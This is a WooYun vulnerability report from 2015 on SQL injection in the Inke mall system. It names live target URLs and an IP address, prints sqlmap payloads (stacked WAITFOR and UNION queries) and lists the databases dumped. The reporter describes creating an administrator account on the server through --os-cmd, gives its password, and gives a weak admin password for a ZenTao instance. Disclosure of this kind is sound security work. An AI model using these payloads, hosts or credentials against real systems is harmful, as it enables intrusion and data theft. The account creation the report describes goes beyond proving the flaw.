当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0160452

漏洞标题：盈客科技商城系统sql注入

相关厂商：盈客中国

漏洞作者： 路人甲

提交时间：2015-12-17 09:19

修复时间：2016-01-28 17:10

公开时间：2016-01-28 17:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-17： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-01-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

sql注入

详细说明：

首先发现官网服务器81端口开放web服务，为商城系统

http://www.inke.com.cn:81/Clients/Shops.aspx?Sid=5CCD89751E9B4B968A86ECEFEC244380&state=9


另外一个服务器 B 也是同样的商城系统，也存在注入

http://115.29.220.93:89/Clients/Shops.aspx?sid=5CCD89751E9B4B968A86ECEFEC244380&state=9


神器爆出来的注入信息

1.png


ok，放到sqlmap里看看

sqlmap identified the following injection points with a total of 71 HTTP(s) requests:
---
Parameter: state (GET)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: sid=5CCD89751E9B4B968A86ECEFEC244380&state=9';WAITFOR DELAY '0:0:5'--
    Type: UNION query
    Title: Generic UNION query (NULL) - 14 columns
    Payload: sid=5CCD89751E9B4B968A86ECEFEC244380&state=9' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(90)+CHAR(69)+CHAR(109)+CHAR(68)+CHAR(66)+CHAR(117)+CHAR(74)+CHAR(106)+CHAR(121)+CHAR(113)+CHAR(98)+CHAR(112)+CHAR(112)+CHAR(113)-- 
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: state (GET)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: sid=5CCD89751E9B4B968A86ECEFEC244380&state=9';WAITFOR DELAY '0:0:5'--
    Type: UNION query
    Title: Generic UNION query (NULL) - 14 columns
    Payload: sid=5CCD89751E9B4B968A86ECEFEC244380&state=9' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(90)+CHAR(69)+CHAR(109)+CHAR(68)+CHAR(66)+CHAR(117)+CHAR(74)+CHAR(106)+CHAR(121)+CHAR(113)+CHAR(98)+CHAR(112)+CHAR(112)+CHAR(113)-- 
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
available databases [21]:
[*] AD_ORDER
[*] Inju_O2O
[*] Inke
[*] inkeserver30
[*] InkeTest
[*] mana
[*] master
[*] model
[*] msdb
[*] newInke
[*] oldInke
[*] ReportServer
[*] ReportServerTempDB
[*] SFOAV5
[*] sqbliugp
[*] tempdb
[*] Ykxt2015-2
[*] Ykxt2015-SC
[*] Ykxt2015Dev2
[*] Ykxt2015Dev_new
[*] Ykxt2015ff


得到服务器是win2008，通过sqlmap执行--os-cmd 建立服务器管理员用户 test/P@ssW0rd!
然后就登上去服务器了

2.jpg


服务器里有源码和数据库信息

漏洞证明：

同时，服务器上的84端口还开放84端口，使用禅道系统，弱口令admin/123456 。。。。
里面有公司项目开发的各种信息

4.png


修复方案：

修复注入
禅道系统弱口令
把服务器上的test用户删掉

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝